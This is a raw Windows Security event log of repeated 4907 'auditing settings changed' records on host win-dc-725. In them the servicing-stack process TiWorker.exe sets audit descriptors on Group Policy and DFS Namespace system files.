C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247855 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\GPRSoP.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247854 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\GPOAdminCustom.dll - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247853 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\GPOAdminCommon.dll - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247852 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\GPOAdmin.dll - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247851 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\gpmgmt.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247850 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\gpme.msc - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247849 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\gpme.dll - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247848 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\gpmc.msc - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247847 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dfsrPropagationReport.xsl - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247846 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\DfsrHelper.dll - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247845 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dfsrHealthReport.xsl - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247844 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\DfsRes.dll - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247843 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dfsfrsHost.exe - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247842 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\GroupPolicy\GroupPolicy.psd1 - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247841 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\GroupPolicy\GroupPolicy.format.ps1xml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247840 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceServerConfig\DfsNamespaceserverconfig.types.ps1xml - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247839 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceServerConfig\DfsNamespaceServerConfig.format.ps1xml - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247838 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceServerConfig\DfsNamespaceserverconfig.cdxml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247837 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceRootTarget\DfsNamespaceRootTarget.types.ps1xml - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247836 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceRootTarget\DfsNamespaceRootTarget.format.ps1xml - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247835 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceRootTarget\DfsNamespaceRootTarget.cdxml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247834 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolderTarget\DfsNamespaceFolderTarget.types.ps1xml - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247833 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolderTarget\DfsNamespaceFolderTarget.format.ps1xml - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247832 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolderTarget\DfsNamespaceFolderTarget.cdxml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247831 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolder\DfsNamespaceFolder.types.ps1xml - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247830 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolder\DfsNamespaceFolder.format.ps1xml - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247829 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolder\DfsNamespaceFolder.cdxml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247828 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceAccess\DfsNamespaceAccess.types.ps1xml - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247827 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceAccess\DfsNamespaceAccess.format.ps1xml - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247826 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceAccess\DfsNamespaceAccess.cdxml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247825 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespace\DfsNamespace.types.ps1xml - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247824 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespace\DfsNamespace.format.ps1xml - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: 